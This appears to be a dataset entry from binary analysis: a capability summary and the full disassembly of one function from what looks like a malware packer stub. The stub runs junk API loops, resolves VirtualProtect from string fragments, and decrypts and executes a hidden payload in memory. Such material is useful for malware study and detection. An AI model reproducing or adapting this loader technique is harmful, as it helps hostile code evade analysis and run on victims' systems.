Function at 0x401300
Capabilities:
Create process on windows
Get disk information
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c4
mov eax, dword [0x409420]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, 0x28324
jne 0x4013fe
push 0x409f40
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 0x1c279
jne 0x4013fe
mov eax, 0x409f40
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401345
sub eax, edx
cmp eax, 0xc5bdc
jne 0x4013fe
mov ecx, 0x11
mov esi, str.sibebicixi_dusawericecizaxafixobamoyeve_tizaba_bagewoxodocesapajaye_ve
lea edi, [ebp - 0x7c]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
xor esi, esi
push esi
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov ecx, dword [str.yazedexi_ni]
mov edx, dword [0x406550]
mov eax, dword [0x406554]
push esi
push esi
push esi
push esi
mov dword [ebp - 0x20], ecx
mov ecx, dword [0x406558]
push esi
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x1c], edx
mov edx, dword [0x40655c]
mov dword [ebp - 0x18], eax
mov eax, dword [0x406560]
push esi
lea ecx, [ebp - 0x20]
push ecx
mov dword [ebp - 0x10], edx
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
lea ecx, [ebp - 0x4c4]
mov dword [ebp - 0x4c4], esi
mov dword [ebp - 0x4c0], esi
mov dword [ebp - 0x4bc], esi
call fcn.004017e0
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.MSIMG32.dll_TransparentBlt]
lea ecx, [ebp - 0x4c4]
call fcn.00401820
xor ebx, ebx
cmp ebx, 0x2f9
jge 0x401420
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GrayStringA]
cmp ebx, 0x197
jge 0x401448
mov ecx, 0xe
mov esi, str.sudoyomuhosade_zu_gumofipa_sicajocoweno_dipececidujuciye
lea edi, [ebp - 0x6c]
rep movsd dword es:[edi], dword [esi]
lea edx, [ebp - 0x6c]
push edx
push 0
push 0
push 0
movsb byte es:[edi], byte [esi]
call dword [sym.imp.USER32.dll_AppendMenuA]
push 0
push 0
call dword [sym.imp.USER32.dll_ClientToScreen]
cmp ebx, 0x186
jge 0x401481
push 0
call dword [sym.imp.KERNEL32.dll_InitAtomTable]
mov ecx, 0xa
mov esi, str.xawekozarixecufazuko
lea edi, [ebp - 0x30]
rep movsd dword es:[edi], dword [esi]
push 0
lea eax, [ebp - 0x30]
push eax
push 0
movsw word es:[edi], word [esi]
call dword [sym.imp.USER32.dll_SetPropW]
lea ecx, [ebp - 0x4b0]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
cmp ebx, 0x6dc
jle 0x4014bc
cmp dword [ebp - 0x4b4], 0x226f941
je 0x4014bc
cmp dword [ebp - 0x4bc], 0x5d3667a9
je 0x4014bc
cmp dword [ebp - 0x490], 0x64e861b5
jne 0x4014c9
inc ebx
cmp ebx, 0xe3df7
jl 0x401400
xor ebx, ebx
cmp ebx, 0x13c
jge 0x401513
push 0
push 0
push 0
push 0
call dword [sym.imp.ole32.dll_OleMetafilePictFromIconAndLabel]
mov ecx, 0x12
mov esi, str.Ji_fatepaxudocagigiyoveke_sodoxofeza
lea edi, [ebp - 0x7c]
rep movsd dword es:[edi], dword [esi]
lea edx, [ebp - 0x4bc]
push edx
push 0
lea eax, [ebp - 0x7c]
push eax
push 0
movsw word es:[edi], word [esi]
call dword [sym.imp.GDI32.dll_GetTextExtentPointW]
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetDCEx]
cmp ebx, 0xd464
jne 0x401529
mov ecx, dword [0x409410]
mov dword [0x40a324], ecx
jmp 0x401539
cmp ebx, 0x145
jge 0x401539
push 0
call dword [sym.imp.KERNEL32.dll_FindVolumeMountPointClose]
inc ebx
cmp ebx, 0x13071
jl 0x4014cb
mov edi, dword [sym.imp.USER32.dll_SetClassLongA]
mov ebx, dword [sym.imp.GDI32.dll_GetTextMetricsW]
xor esi, esi
cmp esi, 0x3f
jge 0x401563
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_DefWindowProcA]
cmp esi, 0x10f4a
jne 0x401577
add dword [0x40a324], 0xbeca0
jmp 0x40158d
cmp esi, 0x271
jge 0x40158d
push 0
push 0
push 0
call edi
push 0
push 0
call ebx
inc esi
cmp esi, 0x1793e
jl 0x401550
mov edi, dword [sym.imp.KERNEL32.dll_SetEvent]
mov ebx, dword [sym.imp.USER32.dll_DrawAnimatedRects]
xor esi, esi
cmp esi, 0x26ed
jge 0x4015ba
push 0
call edi
push 0
push 0
push 0
push 0
call ebx
cmp esi, 0x48fc5d
jne 0x4015d6
mov edx, dword [0x40a324]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x40a28c], eax
inc esi
cmp esi, 0x947192
jl 0x4015a4
mov eax, dword [0x409404]
xor esi, esi
mov dword [0x40aad4], eax
cmp dword [0x40a324], esi
jbe 0x401665
mov edi, dword [sym.imp.GDI32.dll_CreateRoundRectRgn]
mov ebx, dword [sym.imp.KERNEL32.dll_SetTapeParameters]
cmp esi, 0xad6
jge 0x401637
push 0
push 0
push 0
push 0
push 0
push 0
call edi
push 0
push 0
push 0
call ebx
push 0
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
push 0
call dword [sym.imp.USER32.dll_UpdateWindow]
push 0
push 0
call dword [sym.imp.USER32.dll_SetWindowsHookW]
mov ecx, dword [0x40aad4]
mov dl, byte [ecx + esi + 0xbeca0]
mov eax, dword [0x40a28c]
mov byte [eax + esi], dl
cmp esi, 0x622
jge 0x40165c
push 0
call dword [sym.imp.KERNEL32.dll_LocalLock]
inc esi
cmp esi, dword [0x40a324]
jb 0x4015ff
mov dword [ebp - 0x4b4], 0xbb
sub dword [ebp - 0x4b4], 0x7b
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyA]
xor esi, esi
cmp esi, 0x22ae
jge 0x4016a7
push 0
push 0
call dword [sym.imp.GDI32.dll_GetDeviceGammaRamp]
push 0
lea ecx, [ebp - 0x47c]
push ecx
push 0
call dword [sym.imp.USER32.dll_GetWindowTextA]
cmp esi, 0x260d26
jne 0x40170e
push str.kernel32.dll
call edi
push str.Virtual
push 0x409f40
mov dword [0x40a320], eax
call ebx
push str.Protect
push 0x409f40
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov edx, dword [0x40a320]
push 0x409f40
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [ebp - 0x4b4]
lea ecx, [ebp - 0x4b8]
push ecx
mov ecx, dword [0x40a324]
push edx
mov edx, dword [0x40a28c]
push ecx
push edx
mov dword [0x40a288], eax
call eax
jmp 0x401721
cmp esi, 0x893
jge 0x401721
push str.vuyubokejuni_kudihubekopu_kafolozepiyiwayayeha_cubenegijugudanepiko_tigodimuwusocudiwuze
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
inc esi
cmp esi, 0x276b9f
jl 0x401684
mov eax, dword [0x40a324]
mov ecx, dword [0x40a28c]
push section..data
push eax
push ecx
call fcn.00401120
nop
add dword [0x40a324], 0x6328d06a
call dword [0x40a28c]
mov edx, dword [0x40aad8]
mov eax, dword fs:[0x2c]
mov ecx, dword [eax + edx*4]
push str.mikevaso_hirovacopisagibepisa_toxiwucato
push 0
mov dword [ecx + 4], 1
call dword [sym.imp.USER32.dll_LoadCursorA]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.00401bc1
mov esp, ebp
pop ebp
ret 0x10